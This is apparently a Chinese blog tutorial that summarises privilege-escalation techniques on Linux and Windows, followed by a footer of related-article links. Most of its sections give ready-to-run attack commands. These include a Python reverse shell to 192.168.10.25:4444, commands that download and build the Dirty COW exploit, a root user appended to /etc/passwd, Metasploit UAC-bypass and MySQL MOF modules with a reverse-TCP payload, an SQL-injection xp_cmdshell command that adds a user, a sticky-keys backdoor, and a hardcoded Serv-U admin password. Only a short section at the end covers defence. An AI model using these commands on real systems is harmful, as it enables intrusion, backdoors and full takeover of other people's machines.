前言

对提权做个归纳

提权一般分为两种:

  • 溢出提权
  • 第三方组件提权

一、溢出提权

溢出提权就是利用系统漏洞进行提权

  • 远程溢出:攻击者只要与服务器连接,然后根据漏洞使用响应的exp即可,如著名的MS-08067
  • 本地溢出:现拥有服务器的一个用户,较多见

1、linux提权

基础知识:一文了解linux下的用户(组)和权限

(1)内核提权

步骤:

  • 查看服务器内核版本,uname-a & id
  • 本地接收服务器端数据,nc -l -n -v 8888
  • 服务器端反弹shell
  • 上传溢出提权exp并执行

github上的一个集合:linux-kernel-exploits

(2)SUID提权

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了

已知的可用来提权的linux可行性的文件列表如下:

nmap
vim
find
bash
more
less
nano
cp

以下命令可以发现系统上运行的所有SUID可执行文件。

#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

例子:利用find文件提权
假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。

我们查看具有root用户权限的SUID文件

find / -perm -u=s -type f 2>/dev/null

我们随便找一个命令进行利用,我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件

我们先看一下是否能用find命令以root权限运行,发现确实可以以root权限运行

/usr/bin/find examples.desktop -exec whoami \;

然后我们查看目标网站上是否有python环境,可以看到有python2.7.6的环境

于是我们以root用户的身份利用python反弹shell,

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  #反弹一个sh类型的shell

可以看到,在攻击端收到了反弹过来的shell,并且是root身份

(3)配置不当提权

假设 /etc/passwd 的配置不当,导致任何用户都可以读写,就可以用来提权

  • 用perl语言生成带有盐值的密码:perl -le 'print crypt("password@123","addedsalt")'
  • test用户的信息加入 /etc/passwd 文件:echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
  • 以用户名:test 密码: password@123 登录主机,登录成功后,是 root 权限

以下这条命令直接生成一个具有root权限的用户:venus,密码为:123qwe 。前提是这条命令的执行需要root权限。

useradd -p `openssl passwd -1 -salt 'user' 123qwe` -u 0 -o -g root  -G root -s /bin/bash -d /home/user venus

检查配置的脚本:

  • http://pentestmonkey.net/tools/audit/unix-privesc-check
  • https://www.securitysift.com/download/linuxprivchecker.py

(4)定时任务提权

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被列出,默认这些程序以root权限执行

如果有幸遇到一个把其中脚本配置成任意用户可写,我们就可以修改脚本进行提权了

ls -l /etc/cron*

使用该命令,列出的文件,查看 /etc/cron.daily/etc/cron.hourly/etc/cron.monthly/etc/cron.weekly 这四个文件夹内的文件,查看是否允许其他用户修改。如果 允许任意用户修改,那么我们就可以往这些文件里面写入反弹shell的脚本提权了。

(5)脏牛提权

exp1

wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty <password>
su firefart
# getrootshell

exp2

git clone https://github.com/gbonacini/CVE-2016-5195.git
cd CVE-2016-5195
make
./dcow -s
# getrootshell

2、windows提权

(1)内核提权

步骤:

  • 探测脚本信息,ASP中用“wscript.shell”,ASP.NET中用“.NET Framework”,JSP中用“JVM”
  • 执行简单的系统指令,比如systeminfo查看补丁
  • 执行溢出程序exp,命名格式如MS08067

github上的一个集合:windows-kernel-exploits

(2)绕过UAC提权

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果

需要UAC的授权才能进行的操作列表如下:

  • 配置Windows Update
  • 增加、删除账户
  • 更改账户类型
  • 更改UAC的设置
  • 安装ActiveX
  • 安装、卸载程序
  • 安装设备驱动程序
  • 将文件移动/复制到Program Files或Windows目录下
  • 查看其它用户的文件夹

UAC有如下四种设置要求:

  • 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
  • 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户
  • 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
  • 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行

绕过方法
首先通过explloit获得目标主机的meterprter。获得meterpreter会话后,输入以下命令以检查是否是system权限:

getsystem
getuid

如果您没有系统/管理权限。然后您应该绕过目标系统的UAC保护。

1.方法一:Windows权限升级绕过UAC保护
此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。

msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在以下命令以确定system权限特权.

getsystem
getuid

很好, 这里我们获得了NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。

2.方法二:Windows权限提升绕过UAC保护(内存注入)
此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()

msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。

getsystem
getuid

最终你将获得NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。

3.方法三:绕过Windows UAC保护(通过FodHelper注册表项)
此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()

msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit

从给定的meterprer中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。

getsystem
getuid

很好, 这里我们获得了NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。

4.方法四:Windows权限升级绕过UAC保护(通过Eventvwr注册表项)
此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()

msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。

getsystem
getuid

您将再次获得NT AUTHORITY\SYSTEM 权限。

5.方法五:Windows权限升级绕过UAC保护(通过COM处理程序劫持)
此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项。这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果cmd.exe访问受到限制,此模块将无法正常运行。

msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在键入以下命令以确定system权限特权。

getsystem
getuid

最后,您将获得NT AUTHORITY\SYSTEM 权限,现在如果您再次运行“shell”命令,那么您将获得具有管理员权限的命令提示符访问权限,这样我们就可以通过Metasploit利用exploit来绕过UAC保护。

复现:CVE-2019-1388:Windows UAC 本地提权

防范:

  • 在企业网络环境中,防止绕过UAC的最好方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。

  • 使用本地管理员权限登录的用户,要将UAC设置为“始终通知”或者删除该用户的本地管理员权限(这样设置后,会像在Windows Vista中一样,总是弹出警告)

(3)windows组策略首选项提权

windows2008有一个叫组策略首选项(Group Policy Preference)的特性.这个特性可以方便管理员在整个域内部署策略.

当下发的策略包含用户名和认证信息的时候,一个普通的用户就可以通过这些信息或得策略里的帐号密码,从而提升自己的权限甚至控制域内其他计算机

可参考:Windows组策略首选项提权(SYSVOL/GPP)

(4)Windows PR提权

Microsoft Windows RPCSS服务隔离本地权限提升漏洞

RPCSS服务没有正确地隔离 NetworkService 或 LocalService 帐号下运行的进程,本地攻击者可以利用令牌劫持的方式获得权限提升。成功利用此漏洞的攻击者可以完全控制受影响的系统,攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。

BUGTRAQ ID: 34443
CVE(CAN) ID: CVE-2009-0079

发布日期:2009-04-14
更新日期:2009-04-24

受影响系统:

Microsoft Windows XP x64 SP2
Microsoft Windows XP x64
Microsoft Windows XP SP3
Microsoft Windows XP SP2
Microsoft Windows Server 2003 SP2
Microsoft Windows Server 2003 SP1

也就是说只有Windows Server 2003和windows xp系统能够使用 pr 提权。

参见:【内网提权】windows2003本地PR提权详解

(5)一个可能的完整过程

CMD探查

systeminfo :查看系统版本信息
netstat -ano : 查看系统开放端口
tasklist /svc : 查看系统进程
ipconfig : 查看ip地址
whoami : 查看当前用户
net user : 查看计算机用户列表
net localgroup : 查看计算机用户组列表

查看远程桌面的端口

# 方式一
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber# 方式二
tasklist /svc查询TermService对应PID
再netstat -ano查询PID对应的端口号# 方式三
查询注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ Wds dpwd\Tds cp 中PortNumber的值

开启3389

# 方式一 通用开3389(优化后):
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1## 方式二 For Win2003
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f# 方式三 For Win2008
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f# 方式四.For Every
cmd开3389 win08 win03 win7 win2012 winxp win08,三条命令即可:
wmic /namespace:\root\cimv2 erminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\root\cimv2 erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
win2012通用;win7前两条即可。权限需要run as administrator。

添加用户

net user test123 Test123 /add : 添加test123用户并设置密码为Test123
net localgroup administrators test123 /add : 将用户加入管理组

二、第三方组件提权

1、信息搜集

信息搜集永远是最重要的一个环节

  • 服务器支持的脚本语言,运气好说不定就可以直接以admin身份执行指令了
  • 服务器端口探测,目的是为了查看安装了哪些软件
  • 路径信息

2、数据库提权

(1)SQL Server

主要依据一个特殊的存储过程“xp_cmdshell”,可以调用系统命令
即在sysadmin权限下调用“xp_cmdshell”,执行net user x x /add & net localgroup administrators x /add添加一个管理员账户

启用或关闭xp_cmdshell

# 启用xp_cmdshell
USE master
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure   'show advanced options', 0
RECONFIGURE WITH OVERRIDE # 关闭xp_cmdshell
USE master
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell', 0
RECONFIGURE WITH OVERRIDE
EXEC sp_configure   'show advanced options', 0
RECONFIGURE WITH OVERRIDE

一些常用指令

查看数据库版本:select @@version查看数据库系统参数:exec master..xp_msver;查看用户所属角色信息:sp_helpsrvrolemember查看当前数据库:select db_name()显示机器上的驱动器:xp_availablemedia查看当前账户权限select IS_SRVROLEMEMBER('sysadmin') #判断是否为sa权限类似serveradmin,setupadmin,securityadmin,diskadmin,bulkadminselect IS_MEMBER('db_owner') #判断是否为dbo权限添加用户exec master.dbo.sp_addlogin test,password #添加用户exec master.dbo.sp_addsrvrolemember test,sysadmin #加权限启动停止服务exec master..xp_servicecontrol 'stop','test'exec master..xp_servicecontrol 'start','test'检查功能SELECT count(*)FROM master.dbo.sysobjects WHERE name='xp_cmdshell'xp_cmdshell, xpregread,sp_makewebtask,xp_subdirs,xp_dirtree, sp_addextendedproc

1、在注入点进行提权

  • 手工:1; exec master..xp_cmdshell 'net user 1 1 /add'--
  • sqlmap:sqlmap.py -u "http://xxxx?id=1 --os-cmd="net user"

2、已经得到数据库账户了
提权方法没变,只是位置变了而已
也就是连上数据库然后执行命令

(2)MySQL

主要有两种:UDF提权和MOF提权

1、UDF提权

UDF,全称user defined function,即用户定义函数

注:

  • Mysql版本大于5.1版本,udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下
  • Mysql版本小于5.1版本,udf.dll文件在Windows2003下放置于c:\windows\system32文件夹下

思路:

  • 导出C:\windows\udf.dll
  • Create Function cmdshell returns string soname ‘udf.dll’;
  • select cmdshell(‘whoami’)
  • drop function cmdshell

一个例子如下:

create table temptable(UDF BLOB); //创建临时表
insert into temptable values(convert(shellcode,CHAR)); //插入shellcode
select UDF from temptable into dumpfile 'C:\Windows\udf.dll'; //导出UDF.dll,这一步注意版本,不同版本路径不同
drop table temptable; //删除临时表
create function cmdshell returns string soname 'udf.dll'; //创建cmdshell函数
select cmdshell('command'); //执行命令,这一步之后就可以执行cmd命令了
drop function cmdshell; //删除cmdshell函数

2、MOF提权

  • 利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行
  • 使用MOF提权的前提是当前root账户可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下

一个例子如下:

use exploit/windows/mysql/mysql_mof
set password xxx
set username xxx
set rhost xxx
set rport xxx
set payload windows/shell_reverse_tcp
set lhost xxx
set lport xxx
exploit

3、FTP提权

配置FTP用户时,如果赋予用户执行权限
就可以用quote site exec执行系统命令
quote site exec net localgroup administrators temp /add

(1)Serv-U 提权

有个默认管理用户LocalAdministrator,密码是#l@$ak#.lk;0@P
可以用来添加用户,然后提权

或者找到配置文件,查看管理员的账户信息

可参考:第三方提权之Serv-U提权

(2)G6 FTP 提权

文件夹RemoteAdmin下有个配置文件Remote.ini
解密可以得到管理员账户密码
然后可以添加用户,再提权

(3)FileZilla 提权

两个配置文件FileZillaServer Interface.xmlFileZilla Server.xml保存了用户信息
提权方法是用cmd.exe代替掉C:\Windows\System32下的sethc.exe,构造shift后门

(4)FlashFXP 提权

三个文件Sites.dat、Stats.dat和quick.dat包含历史遗留信息

三、其他

1、3389端口

3389端口是微软的远程桌面服务RDP默认端口
其危险性不用多讲

防御方法:

  • 改端口
  • 做安全策略
  • 做TCP/IP筛选
  • 指定用户

2、端口转发

LCX是最常见的端口转发软件

  • 服务器端,即个人主机监听500,8888端口:lcx -listen 500 8888
  • 客户机端,即要转发的计算机将3389端口转发给服务器端500:lcx.exe -slave 服务器端IP 500 127.0.0.1 3389
  • 这样服务器端用127.0.0.1:8888就可以连接到终端

3、启动项提权

一个VBS代码脚本例子

Ser wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","temp")
od.SetPassword "123456"
od.SetInfo
Set of=GetObject(os&"/temp",user)
oe.add os&"/temp"

4、DLL劫持

Rices写过一个工具T001s Lpk Sethc

四、防范

关键是目录信息的保护和用户权限的限制

一些措施如下:

  • 及时打补丁,定期杀毒
  • 关闭危险端口
  • 删除system32下的敏感exe文件,如cmd.exe
  • 删除不安全的组件,如WScript.Shell
  • 安装安全软件,如安全狗

结语

对提权有了浅层了解
后续有学习再更新

一文了解提权:溢出提权和第三方组件提权相关推荐

  1. 第三方组件提权-SQL server提权

    文章目录 基础 MSSQL权限级别 拿webshell xp_cmdshell执行系统命令 LOG备份getshell 提权 使用xp_cmdshell进行提权 以下内容为转载 使用sp_oacrea ...

  2. Linux通过第三方应用提权实战总结

    Linux提权,前提是拿到了一个低权限的账号,能上传和下载文件,主要思路有: 1.内核提权.网上各种大佬的payload很多,关键在于要能找到利用哪个exp以及具体如何利用.省力点的方法是用searc ...

  3. 提权系列(一)----Windows Service 服务器提权初识与exp提权,mysql提权

    一.初识提权 很多时候我们入侵一个网站的时候,想要的是得到这个服务器的权限,也就是admin权限,但是一般默认得到的是普通用的地权限,权限很小,所以就要通过其他手段,提升自己的权限. 提权是将服务器的 ...

  4. (59.2)【Windows提权】权限等级、PSTools提权、at命令提权、sc命令提权

    目录 一.权限分配 1.1.Windows: 1.2.Linux 二.PSTools提权 2.1.简介: 2.2.微软官网: 2.3.PsExec提权: 三.at命令提权 3.1.原理: 3.2.适用 ...

  5. 基础组件完善的今天,如何通过业务组件提效?

    简介: 无论是在前端刀耕火种的 jQuery/YUI 时代,还是到现在基于数据驱动 UI 的 React/Vue 时代,物料/组件一直是前端永恒的话题.基于大量重复逻辑的封装可以很显而易见地提升前端 ...

  6. API 鉴权插件上线!支持用户自定义鉴权插件

    0.4.0 版本更新主要围绕这几个方面: 分组独立的 UI,支持分组 API 鉴权 API 测试支持继承 API 鉴权 支持用户自定义鉴权插件,仅需部分配置即可发布鉴权插件 开始介绍功能之前,我想先和 ...

  7. 服务器不稳定降权多久会恢复,遇到网站降权你会怎么做?

    首先,我们来说说如何判断一个网站被降权: 判断网站降权,我们可以从我们的网站表现来判断,比如说:排名大量的下降,网站索引量大量的下降,网站内容突然不收录,site网站发现首页不在第一位,这些都可以用于 ...

  8. 什么是鉴权?postman的有几种鉴权方式?

     目录 一.什么是鉴权? 二.postman鉴权方式 一.什么是鉴权? 鉴权也就是身份认证,就是验证您是否有权限从服务器访问或操作相关数据.发送请求时,通常必须包含相应的检验参数以确保请求具有访问权限 ...

  9. (十六)PDF文档处理模块(PDF格式转换+iTextSharp组件)

    首先在页面加一个textbox控件,一个button控件. 引入 using System.IO; using System.Text; using System.Collections; 之后是在后 ...

最新文章

  1. css控制显示行数,多出部分显示省略号
  2. android 代码设置alignleft,如何动态的设置Relative Layout中按钮的layout_align_parent_right属性...
  3. 再深一点:面试工作两不误,源码级理解Spring事务
  4. java中log4j的详解(转)
  5. Centos7 安装gitlab 8.7.5
  6. PostgreSQL 的一个简单连接和查询操作——示例
  7. 切面是异步还是同步操作‘_分布式中采用Logback的MDC机制与AOP切面结合串联日志...
  8. PyTorch:将模型转换为torch.jit.ScriptModule
  9. Ruby 101:重用、隐藏和多态
  10. ASP.NET Web API 2 中的属性路由使用(转载)
  11. 矜情作态的拼音及解释
  12. LC415字符串相加
  13. UI交互设计师在准备简历时应该注意什么?
  14. 小程序快速入门:wxss的使用
  15. MongoDB 使用Index
  16. 高等代数 线性空间(第8章)2 同构与商空间
  17. Spatial Join学习
  18. CS229与《统计学习方法》的EM算法理解和比较,收敛性证明
  19. 代币标准--ERC721协议源码解析
  20. 模式识别 | PRML概览

热门文章

  1. 真3D结构光人脸锁成行业潮品,奥比中光合作锁企“霸屏”建博会
  2. 蒙特卡洛树是什么算法?
  3. 使用tushare进行股票日线数据下载
  4. vader —— 一种基于规则的英文文本情感识别方法
  5. 《Python 地理数据处理》by Chris Garrard
  6. “21天好习惯”第一期——16
  7. NowCoder Wannafly 27E 黄魔法师 构造
  8. 嵌入式单片机高级篇(三)Stm32F103+OV2640摄像头
  9. QQ贴吧那种图片一点开,就变了的原理
  10. csdn首页的那个新闻,blog,论坛,图书的tab签的做法,滑动门技术